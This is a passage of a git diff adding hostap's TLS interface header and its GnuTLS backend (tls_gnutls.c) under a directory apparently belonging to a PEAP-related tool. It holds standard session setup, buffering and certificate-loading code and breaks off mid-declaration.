once for each RSN pre-authentication + * session. In other words, there can be two concurrent TLS contexts. If global + * library initialization is needed (i.e., one that is shared between both + * authentication types), the TLS library wrapper should maintain a reference + * counter and do global initialization only when moving from 0 to 1 reference. + */ +void * tls_init(const struct tls_config *conf); + +/** + * tls_deinit - Deinitialize TLS library + * @tls_ctx: TLS context data from tls_init() + * + * Called once during program shutdown and once for each RSN pre-authentication + * session. If global library deinitialization is needed (i.e., one that is + * shared between both authentication types), the TLS library wrapper should + * maintain a reference counter and do global deinitialization only when moving + * from 1 to 0 references. + */ +void tls_deinit(void *tls_ctx); + +/** + * tls_get_errors - Process pending errors + * @tls_ctx: TLS context data from tls_init() + * Returns: Number of found error, 0 if no errors detected. + * + * Process all pending TLS errors. + */ +int tls_get_errors(void *tls_ctx); + +/** + * tls_connection_init - Initialize a new TLS connection + * @tls_ctx: TLS context data from tls_init() + * Returns: Connection context data, conn for other function calls + */ +struct tls_connection * tls_connection_init(void *tls_ctx); + +/** + * tls_connection_deinit - Free TLS connection data + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * + * Release all resources allocated for TLS connection. + */ +void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn); + +/** + * tls_connection_established - Has the TLS connection been completed? + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: 1 if TLS connection has been completed, 0 if not. + */ +int tls_connection_established(void *tls_ctx, struct tls_connection *conn); + +/** + * tls_connection_shutdown - Shutdown TLS connection + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: 0 on success, -1 on failure + * + * Shutdown current TLS connection without releasing all resources. New + * connection can be started by using the same conn without having to call + * tls_connection_init() or setting certificates etc. again. The new + * connection should try to use session resumption. + */ +int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn); + +enum { + TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED = -3, + TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED = -2 +}; + +/** + * tls_connection_set_params - Set TLS connection parameters + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @params: Connection parameters + * Returns: 0 on success, -1 on failure, + * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing + * PKCS#11 engine failure, or + * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the + * PKCS#11 engine private key. + */ +int __must_check +tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params); + +/** + * tls_global_set_params - Set TLS parameters for all TLS connection + * @tls_ctx: TLS context data from tls_init() + * @params: Global TLS parameters + * Returns: 0 on success, -1 on failure, + * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing + * PKCS#11 engine failure, or + * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the + * PKCS#11 engine private key. + */ +int __must_check tls_global_set_params( + void *tls_ctx, const struct tls_connection_params *params); + +/** + * tls_global_set_verify - Set global certificate verification options + * @tls_ctx: TLS context data from tls_init() + * @check_crl: 0 = do not verify CRLs, 1 = verify CRL for the user certificate, + * 2 = verify CRL for all certificates + * Returns: 0 on success, -1 on failure + */ +int __must_check tls_global_set_verify(void *tls_ctx, int check_crl); + +/** + * tls_connection_set_verify - Set certificate verification options + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @verify_peer: 1 = verify peer certificate + * Returns: 0 on success, -1 on failure + */ +int __must_check tls_connection_set_verify(void *tls_ctx, + struct tls_connection *conn, + int verify_peer); + +/** + * tls_connection_get_keys - Get master key and random data from TLS connection + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @keys: Structure of key/random data (filled on success) + * Returns: 0 on success, -1 on failure + */ +int __must_check tls_connection_get_keys(void *tls_ctx, + struct tls_connection *conn, + struct tls_keys *keys); + +/** + * tls_connection_prf - Use TLS-PRF to derive keying material + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @label: Label (e.g., description of the key) for PRF + * @server_random_first: seed is 0 = client_random|server_random, + * 1 = server_random|client_random + * @out: Buffer for output data from TLS-PRF + * @out_len: Length of the output buffer + * Returns: 0 on success, -1 on failure + * + * This function is optional to implement if tls_connection_get_keys() provides + * access to master secret and server/client random values. If these values are + * not exported from the TLS library, tls_connection_prf() is required so that + * further keying material can be derived from the master secret. If not + * implemented, the function will still need to be defined, but it can just + * return -1. Example implementation of this function is in tls_prf_sha1_md5() + * when it is called with seed set to client_random|server_random (or + * server_random|client_random). + */ +int __must_check tls_connection_prf(void *tls_ctx, + struct tls_connection *conn, + const char *label, + int server_random_first, + u8 *out, size_t out_len); + +/** + * tls_connection_handshake - Process TLS handshake (client side) + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @in_data: Input data from TLS server + * @appl_data: Pointer to application data pointer, or %NULL if dropped + * Returns: Output data, %NULL on failure + * + * The caller is responsible for freeing the returned output data. If the final + * handshake message includes application data, this is decrypted and + * appl_data (if not %NULL) is set to point this data. The caller is + * responsible for freeing appl_data. + * + * This function is used during TLS handshake. The first call is done with + * in_data == %NULL and the library is expected to return ClientHello packet. + * This packet is then send to the server and a response from server is given + * to TLS library by calling this function again with in_data pointing to the + * TLS message from the server. + * + * If the TLS handshake fails, this function may return %NULL. However, if the + * TLS library has a TLS alert to send out, that should be returned as the + * output data. In this case, tls_connection_get_failed() must return failure + * (> 0). + * + * tls_connection_established() should return 1 once the TLS handshake has been + * completed successfully. + */ +struct wpabuf * tls_connection_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data); + +struct wpabuf * tls_connection_handshake2(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data, + int *more_data_needed); + +/** + * tls_connection_server_handshake - Process TLS handshake (server side) + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @in_data: Input data from TLS peer + * @appl_data: Pointer to application data pointer, or %NULL if dropped + * Returns: Output data, %NULL on failure + * + * The caller is responsible for freeing the returned output data. + */ +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data); + +/** + * tls_connection_encrypt - Encrypt data into TLS tunnel + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @in_data: Plaintext data to be encrypted + * Returns: Encrypted TLS data or %NULL on failure + * + * This function is used after TLS handshake has been completed successfully to + * send data in the encrypted tunnel. The caller is responsible for freeing the + * returned output data. + */ +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data); + +/** + * tls_connection_decrypt - Decrypt data from TLS tunnel + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @in_data: Encrypted TLS data + * Returns: Decrypted TLS data or %NULL on failure + * + * This function is used after TLS handshake has been completed successfully to + * receive data from the encrypted tunnel. The caller is responsible for + * freeing the returned output data. + */ +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data); + +struct wpabuf * tls_connection_decrypt2(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + int *more_data_needed); + +/** + * tls_connection_resumed - Was session resumption used + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: 1 if current session used session resumption, 0 if not + */ +int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn); + +enum { + TLS_CIPHER_NONE, + TLS_CIPHER_RC4_SHA /* 0x0005 */, + TLS_CIPHER_AES128_SHA /* 0x002f */, + TLS_CIPHER_RSA_DHE_AES128_SHA /* 0x0031 */, + TLS_CIPHER_ANON_DH_AES128_SHA /* 0x0034 */ +}; + +/** + * tls_connection_set_cipher_list - Configure acceptable cipher suites + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers + * (TLS_CIPHER_*). + * Returns: 0 on success, -1 on failure + */ +int __must_check tls_connection_set_cipher_list(void *tls_ctx, + struct tls_connection *conn, + u8 *ciphers); + +/** + * tls_get_cipher - Get current cipher name + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @buf: Buffer for the cipher name + * @buflen: buf size + * Returns: 0 on success, -1 on failure + * + * Get the name of the currently used cipher. + */ +int __must_check tls_get_cipher(void *tls_ctx, struct tls_connection *conn, + char *buf, size_t buflen); + +/** + * tls_connection_enable_workaround - Enable TLS workaround options + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: 0 on success, -1 on failure + * + * This function is used to enable connection-specific workaround options for + * buffer SSL/TLS implementations. + */ +int __must_check tls_connection_enable_workaround(void *tls_ctx, + struct tls_connection *conn); + +/** + * tls_connection_client_hello_ext - Set TLS extension for ClientHello + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * @ext_type: Extension type + * @data: Extension payload (%NULL to remove extension) + * @data_len: Extension payload length + * Returns: 0 on success, -1 on failure + */ +int __must_check tls_connection_client_hello_ext(void *tls_ctx, + struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len); + +/** + * tls_connection_get_failed - Get connection failure status + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * + * Returns >0 if connection has failed, 0 if not. + */ +int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn); + +/** + * tls_connection_get_read_alerts - Get connection read alert status + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: Number of times a fatal read (remote end reported error) has + * happened during this connection. + */ +int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn); + +/** + * tls_connection_get_write_alerts - Get connection write alert status + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: Number of times a fatal write (locally detected error) has happened + * during this connection. + */ +int tls_connection_get_write_alerts(void *tls_ctx, + struct tls_connection *conn); + +/** + * tls_connection_get_keyblock_size - Get TLS key_block size + * @tls_ctx: TLS context data from tls_init() + * @conn: Connection context data from tls_connection_init() + * Returns: Size of the key_block for the negotiated cipher suite or -1 on + * failure + */ +int tls_connection_get_keyblock_size(void *tls_ctx, + struct tls_connection *conn); + +/** + * tls_capabilities - Get supported TLS capabilities + * @tls_ctx: TLS context data from tls_init() + * Returns: Bit field of supported TLS capabilities (TLS_CAPABILITY_*) + */ +unsigned int tls_capabilities(void *tls_ctx); + +typedef int (*tls_session_ticket_cb) +(void *ctx, const u8 *ticket, size_t len, const u8 *client_random, + const u8 *server_random, u8 *master_secret); + +int __must_check tls_connection_set_session_ticket_cb( + void *tls_ctx, struct tls_connection *conn, + tls_session_ticket_cb cb, void *ctx); + +#endif /* TLS_H */ diff --git a/peapwn/mods/hostap/src/crypto/tls_gnutls.c b/peapwn/mods/hostap/src/crypto/tls_gnutls.c new file mode 100644 index 000000000..a5d72f407 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls_gnutls.c @@ -0,0 +1,1192 @@ +/* + * SSL/TLS interface functions for GnuTLS + * Copyright (c) 2004-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#ifdef PKCS12_FUNCS +#include +#endif /* PKCS12_FUNCS */ + +#include "common.h" +#include "tls.h" + + +#define WPA_TLS_RANDOM_SIZE 32 +#define WPA_TLS_MASTER_SIZE 48 + + +#if LIBGNUTLS_VERSION_NUMBER < 0x010302 +/* GnuTLS 1.3.2 added functions for using master secret. Older versions require + * use of internal structures to get the master_secret and + * {server,client}_random. + */ +#define GNUTLS_INTERNAL_STRUCTURE_HACK +#endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ + + +#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK +/* + * It looks like gnutls does not provide access to client/server_random and + * master_key. This is somewhat unfortunate since these are needed for key + * derivation in EAP-{TLS,TTLS,PEAP,FAST}. Workaround for now is a horrible + * hack that copies the gnutls_session_int definition from gnutls_int.h so that + * we can get the needed information. + */ + +typedef u8 uint8; +typedef unsigned char opaque; +typedef struct { + uint8 suite[2]; +} cipher_suite_st; + +typedef struct { + gnutls_connection_end_t entity; + gnutls_kx_algorithm_t kx_algorithm; + gnutls_cipher_algorithm_t read_bulk_cipher_algorithm; + gnutls_mac_algorithm_t read_mac_algorithm; + gnutls_compression_method_t read_compression_algorithm; + gnutls_cipher_algorithm_t write_bulk_cipher_algorithm; + gnutls_mac_algorithm_t write_mac_algorithm; + gnutls_compression_method_t write_compression_algorithm; + cipher_suite_st current_cipher_suite; + opaque master_secret[WPA_TLS_MASTER_SIZE]; + opaque client_random[WPA_TLS_RANDOM_SIZE]; + opaque server_random[WPA_TLS_RANDOM_SIZE]; + /* followed by stuff we are not interested in */ +} security_parameters_st; + +struct gnutls_session_int { + security_parameters_st security_parameters; + /* followed by things we are not interested in */ +}; +#endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ + +static int tls_gnutls_ref_count = 0; + +struct tls_global { + /* Data for session resumption */ + void *session_data; + size_t session_data_size; + + int server; + + int params_set; + gnutls_certificate_credentials_t xcred; +}; + +struct tls_connection { + gnutls_session session; + char *subject_match, *altsubject_match; + int read_alerts, write_alerts, failed; + + u8 *pre_shared_secret; + size_t pre_shared_secret_len; + int established; + int verify_peer; + + struct wpabuf *push_buf; + struct wpabuf *pull_buf; + const u8 *pull_buf_offset; + + int params_set; + gnutls_certificate_credentials_t xcred; +}; + + +static void tls_log_func(int level, const char *msg) +{ + char *s, *pos; + if (level == 6 || level == 7) { + /* These levels seem to be mostly I/O debug and msg dumps */ + return; + } + + s = os_strdup(msg); + if (s == NULL) + return; + + pos = s; + while (*pos != '\0') { + if (*pos == '\n') { + *pos = '\0'; + break; + } + pos++; + } + wpa_printf(level > 3 ? MSG_MSGDUMP : MSG_DEBUG, + "gnutls<%d> %s", level, s); + os_free(s); +} + + +extern int wpa_debug_show_keys; + +void * tls_init(const struct tls_config *conf) +{ + struct tls_global *global; + +#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK + /* Because of the horrible hack to get master_secret and client/server + * random, we need to make sure that the gnutls version is something + * that is expected to have same structure definition for the session + * data.. */ + const char *ver; + const char *ok_ver[] = { "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.9", + "1.3.2", + NULL }; + int i; +#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ + + global = os_zalloc(sizeof(*global)); + if (global == NULL) + return NULL; + + if (tls_gnutls_ref_count == 0 && gnutls_global_init() < 0) { + os_free(global); + return NULL; + } + tls_gnutls_ref_count++; + +#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK + ver = gnutls_check_version(NULL); + if (ver == NULL) { + tls_deinit(global); + return NULL; + } + wpa_printf(MSG_DEBUG, "%s - gnutls version %s", __func__, ver); + for (i = 0; ok_ver[i]; i++) { + if (strcmp(ok_ver[i], ver) == 0) + break; + } + if (ok_ver[i] == NULL) { + wpa_printf(MSG_INFO, "Untested gnutls version %s - this needs " + "to be tested and enabled in tls_gnutls.c", ver); + tls_deinit(global); + return NULL; + } +#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ + + gnutls_global_set_log_function(tls_log_func); + if (wpa_debug_show_keys) + gnutls_global_set_log_level(11); + return global; +} + + +void tls_deinit(void *ssl_ctx) +{ + struct tls_global *global = ssl_ctx; + if (global) { + if (global->params_set) + gnutls_certificate_free_credentials(global->xcred); + os_free(global->session_data); + os_free(global); + } + + tls_gnutls_ref_count--; + if (tls_gnutls_ref_count == 0) + gnutls_global_deinit(); +} + + +int tls_get_errors(void *ssl_ctx) +{ + return 0; +} + + +static ssize_t tls_pull_func(gnutls_transport_ptr ptr, void *buf, + size_t len) +{ + struct tls_connection *conn = (struct tls_connection *) ptr; + const u8 *end; + if (conn->pull_buf == NULL) { + errno = EWOULDBLOCK; + return -1; + } + + end = wpabuf_head_u8(conn->pull_buf) + wpabuf_len(conn->pull_buf); + if ((size_t) (end - conn->pull_buf_offset) < len) + len = end - conn->pull_buf_offset; + os_memcpy(buf, conn->pull_buf_offset, len); + conn->pull_buf_offset += len; + if (conn->pull_buf_offset == end) { + wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); + wpabuf_free(conn->pull_buf); + conn->pull_buf = NULL; + conn->pull_buf_offset = NULL; + } else { + wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", + __func__, + (unsigned long) (end - conn->pull_buf_offset)); + } + return len; +} + + +static ssize_t tls_push_func(gnutls_transport_ptr ptr, const void *buf, + size_t len) +{ + struct tls_connection *conn = (struct tls_connection *) ptr; + + if (wpabuf_resize(&conn->push_buf, len) < 0) { + errno = ENOMEM; + return -1; + } + wpabuf_put_data(conn->push_buf, buf, len); + + return len; +} + + +static int tls_gnutls_init_session(struct tls_global *global, + struct tls_connection *conn) +{ +#if LIBGNUTLS_VERSION_NUMBER >= 0x020200 + const char *err; +#else /* LIBGNUTLS_VERSION_NUMBER >= 0x020200 */ + const int cert_types[2] = { GNUTLS_CRT_X509, 0 }; + const int protos[2] = { GNUTLS_TLS1, 0 }; +#endif /* LIBGNUTLS_VERSION_NUMBER < 0x020200 */ + int ret; + + ret = gnutls_init(&conn->session, + global->server ? GNUTLS_SERVER : GNUTLS_CLIENT); + if (ret < 0) { + wpa_printf(MSG_INFO, "TLS: Failed to initialize new TLS " + "connection: %s", gnutls_strerror(ret)); + return -1; + } + + ret = gnutls_set_default_priority(conn->session); + if (ret < 0) + goto fail; + +#if LIBGNUTLS_VERSION_NUMBER >= 0x020200 + ret = gnutls_priority_set_direct(conn->session, "NORMAL:-VERS-SSL3.0", + &err); + if (ret < 0) { + wpa_printf(MSG_ERROR, "GnuTLS: Priority string failure at " + "'%s'", err); + goto fail; + } +#else /* LIBGNUTLS_VERSION_NUMBER >= 0x020200 */ + ret = gnutls_certificate_type_set_priority(conn->session, cert_types); + if (ret < 0) + goto fail; + + ret = gnutls_protocol_set_priority(conn->session, protos); + if (ret < 0) + goto fail; +#endif /* LIBGNUTLS_VERSION_NUMBER < 0x020200 */ + + gnutls_transport_set_pull_function(conn->session, tls_pull_func); + gnutls_transport_set_push_function(conn->session, tls_push_func); + gnutls_transport_set_ptr(conn->session, (gnutls_transport_ptr) conn); + + return 0; + +fail: + wpa_printf(MSG_INFO, "TLS: Failed to setup new TLS connection: %s", + gnutls_strerror(ret)); + gnutls_deinit(conn->session); + return -1; +} + + +struct tls_connection * tls_connection_init(void *ssl_ctx) +{ + struct tls_global *global = ssl_ctx; + struct tls_connection *conn; + int ret; + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + + if (tls_gnutls_init_session(global, conn)) { + os_free(conn); + return NULL; + } + + if (global->params_set) { + ret = gnutls_credentials_set(conn->session, + GNUTLS_CRD_CERTIFICATE, + global->xcred); + if (ret < 0) { + wpa_printf(MSG_INFO, "Failed to configure " + "credentials: %s", gnutls_strerror(ret)); + os_free(conn); + return NULL; + } + } + + if (gnutls_certificate_allocate_credentials(&conn->xcred)) { + os_free(conn); + return NULL; + } + + return conn; +} + + +void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return; + + gnutls_certificate_free_credentials(conn->xcred); + gnutls_deinit(conn->session); + os_free(conn->pre_shared_secret); + os_free(conn->subject_match); + os_free(conn->altsubject_match); + wpabuf_free(conn->push_buf); + wpabuf_free(conn->pull_buf); + os_free(conn); +} + + +int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) +{ + return conn ? conn->established : 0; +} + + +int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) +{ + struct tls_global *global = ssl_ctx; + int ret; + + if (conn == NULL) + return -1; + + /* Shutdown previous TLS connection without notifying the peer + * because the connection was already terminated in practice + * and "close notify" shutdown alert would confuse AS. */ + gnutls_bye(conn->session, GNUTLS_SHUT_RDWR); + wpabuf_free(conn->push_buf); + conn->push_buf = NULL; + conn->established = 0; + + gnutls_deinit(conn->session); + if (tls_gnutls_init_session(global, conn)) { + wpa_printf(MSG_INFO, "GnuTLS: Failed to preparare new session " + "for session resumption use"); + return -1; + } + + ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, + conn->params_set ? conn->xcred : + global->xcred); + if (ret < 0) { + wpa_printf(MSG_INFO, "GnuTLS: Failed to configure credentials " + "for session resumption: %s", gnutls_strerror(ret)); + return -1; + } + + if (global->session_data) { + ret = gnutls_session_set_data(conn->session, + global->session_data, + global->session_data_size); + if (ret < 0) { + wpa_printf(MSG_INFO, "GnuTLS: Failed to set session " + "data: %s", gnutls_strerror(ret)); + return -1; + } + } + + return 0; +} + + +#if 0 +static int tls_match_altsubject(X509 *cert, const char *match) +{ + GENERAL_NAME *gen; + char *field, *tmp; + void *ext; + int i, found = 0; + size_t len; + + ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); + + for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { + gen = sk_GENERAL_NAME_value(ext, i); + switch (gen->type) { + case GEN_EMAIL: + field = "EMAIL"; + break; + case GEN_DNS: + field = "DNS"; + break; + case GEN_URI: + field = "URI"; + break; + default: + field = NULL; + wpa_printf(MSG_DEBUG, "TLS: altSubjectName: " + "unsupported type=%d", gen->type); + break; + } + + if (!field) + continue; + + wpa_printf(MSG_DEBUG, "TLS: altSubjectName: %s:%s", + field, gen->d.ia5->data); + len = os_strlen(field) + 1 + + strlen((char *) gen->d.ia5->data) + 1; + tmp = os_malloc(len); + if (tmp == NULL) + continue; + snprintf(tmp, len, "%s:%s", field, gen->d.ia5->data); + if (strstr(tmp, match)) + found++; + os_free(tmp); + } + + return found; +} +#endif + + +#if 0 +static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) +{ + char buf[256]; + X509 *err_cert; + int err, depth; + SSL *ssl; + struct tls_connection *conn; + char *match, *altmatch; + + err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); + err = X509_STORE_CTX_get_error(x509_ctx); + depth = X509_STORE_CTX_get_error_depth(x509_ctx); + ssl = X509_STORE_CTX_get_ex_data(x509_ctx, + SSL_get_ex_data_X509_STORE_CTX_idx()); + X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); + + conn = SSL_get_app_data(ssl); + match = conn ? conn->subject_match : NULL; + altmatch = conn ? conn->altsubject_match : NULL; + + if (!preverify_ok) { + wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," + " error %d (%s) depth %d for '%s'", err, + X509_verify_cert_error_string(err), depth, buf); + } else { + wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - " + "preverify_ok=%d err=%d (%s) depth=%d buf='%s'", + preverify_ok, err, + X509_verify_cert_error_string(err), depth, buf); + if (depth == 0 && match && strstr(buf, match) == NULL) { + wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " + "match with '%s'", buf, match); + preverify_ok = 0; + } else if (depth == 0 && altmatch && + !tls_match_altsubject(err_cert, altmatch)) { + wpa_printf(MSG_WARNING, "TLS: altSubjectName match " + "'%s' not found", altmatch); + preverify_ok = 0; + } + } + + return preverify_ok; +} +#endif + + +int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params) +{ + int ret; + + if (conn == NULL || params == NULL) + return -1; + + os_free(conn->subject_match); + conn->subject_match = NULL; + if (params->subject_match) { + conn->subject_match = os_strdup(params->subject_match); + if (conn->subject_match == NULL) + return -1; + } + + os_free(conn->altsubject_match); + conn->altsubject_match = NULL; + if (params->altsubject_match) { + conn->altsubject_match = os_strdup(params->altsubject_match); + if (conn->altsubject_match == NULL) + return -1; + } + + /* TODO: gnutls_certificate_set_verify_flags(xcred, flags); + * to force peer validation(?) */ + + if (params->ca_cert) { + conn->verify_peer = 1; + ret = gnutls_certificate_set_x509_trust_file( + conn->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " + "in PEM format: %s", params->ca_cert, + gnutls_strerror(ret)); + ret = gnutls_certificate_set_x509_trust_file( + conn->xcred, params->ca_cert, + GNUTLS_X509_FMT_DER); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read CA cert " + "'%s' in DER format: %s", + params->ca_cert, + gnutls_strerror(ret)); + return -1; + } + } + + if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { + gnutls_certificate_set_verify_flags( + conn->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); + } + +#if LIBGNUTLS_VERSION_NUMBER >= 0x020800 + if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { + gnutls_certificate_set_verify_flags( + conn->xcred, + GNUTLS_VERIFY_DISABLE_TIME_CHECKS); + } +#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x020800 */ + } + + if (params->client_cert && params->private_key) { + /* TODO: private_key_passwd? */ + ret = gnutls_certificate_set_x509_key_file( + conn->xcred, params->client_cert, params->private_key, + GNUTLS_X509_FMT_PEM); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read client cert/key " + "in PEM format: %s", gnutls_strerror(ret)); + ret = gnutls_certificate_set_x509_key_file( + conn->xcred, params->client_cert, + params->private_key, GNUTLS_X509_FMT_DER); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read client " + "cert/key in DER format: %s", + gnutls_strerror(ret)); + return ret; + } + } + } else if (params->private_key) { + int pkcs12_ok = 0; +#ifdef PKCS12_FUNCS + /* Try to load in PKCS#12 format */ +#if LIBGNUTLS_VERSION_NUMBER >= 0x010302 + ret = gnutls_certificate_set_x509_simple_pkcs12_file( + conn->xcred, params->private_key, GNUTLS_X509_FMT_DER, + params->private_key_passwd); + if (ret != 0) { + wpa_printf(MSG_DEBUG, "Failed to load private_key in " + "PKCS#12 format: %s", gnutls_strerror(ret)); + return -1; + } else + pkcs12_ok = 1; +#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ +#endif /* PKCS12_FUNCS */ + + if (!pkcs12_ok) { + wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " + "included"); + return -1; + } + } + + conn->params_set = 1; + + ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, + conn->xcred); + if (ret < 0) { + wpa_printf(MSG_INFO, "Failed to configure credentials: %s", + gnutls_strerror(ret)); + } + + return ret; +} + + +int tls_global_set_params(void *tls_ctx, + const struct tls_connection_params *params) +{ + struct tls_global *global = tls_ctx; + int ret; + + /* Currently, global parameters are only set when running in server + * mode. */ + global->server = 1; + + if (global->params_set) { + gnutls_certificate_free_credentials(global->xcred); + global->params_set = 0; + } + + ret = gnutls_certificate_allocate_credentials(&global->xcred); + if (ret) { + wpa_printf(MSG_DEBUG, "Failed to allocate global credentials " + "%s", gnutls_strerror(ret)); + return -1; + } + + if (params->ca_cert) { + ret = gnutls_certificate_set_x509_trust_file( + global->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " + "in PEM format: %s", params->ca_cert, + gnutls_strerror(ret)); + ret = gnutls_certificate_set_x509_trust_file( + global->xcred, params->ca_cert, + GNUTLS_X509_FMT_DER); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read CA cert " + "'%s' in DER format: %s", + params->ca_cert, + gnutls_strerror(ret)); + goto fail; + } + } + + if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { + gnutls_certificate_set_verify_flags( + global->xcred, + GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); + } + +#if LIBGNUTLS_VERSION_NUMBER >= 0x020800 + if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { + gnutls_certificate_set_verify_flags( + global->xcred, + GNUTLS_VERIFY_DISABLE_TIME_CHECKS); + } +#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x020800 */ + } + + if (params->client_cert && params->private_key) { + /* TODO: private_key_passwd? */ + ret = gnutls_certificate_set_x509_key_file( + global->xcred, params->client_cert, + params->private_key, GNUTLS_X509_FMT_PEM); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read client cert/key " + "in PEM format: %s", gnutls_strerror(ret)); + ret = gnutls_certificate_set_x509_key_file( + global->xcred, params->client_cert, + params->private_key, GNUTLS_X509_FMT_DER); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "Failed to read client " + "cert/key in DER format: %s", + gnutls_strerror(ret)); + goto fail; + } + } + } else if (params->private_key) { + int pkcs12_ok = 0; +#ifdef PKCS12_FUNCS + /* Try to load in PKCS#12 format */ +#if LIBGNUTLS_VERSION_NUMBER >= 0x010302 + ret = gnutls_certificate_set_x509_simple_pkcs12_file( + global->xcred, params->private_key, + GNUTLS_X509_FMT_DER, params->private_key_passwd); + if (ret != 0) { + wpa_printf(MSG_DEBUG, "Failed to load private_key in " + "PKCS#12 format: %s", gnutls_strerror(ret)); + goto fail; + } else + pkcs12_ok = 1; +#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ +#endif /* PKCS12_FUNCS */ + + if (!pkcs12_ok) { + wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " + "included"); + goto fail; + } + } + + global->params_set = 1; + + return 0; + +fail: + gnutls_certificate_free_credentials(global->xcred); + return -1; +} + + +int 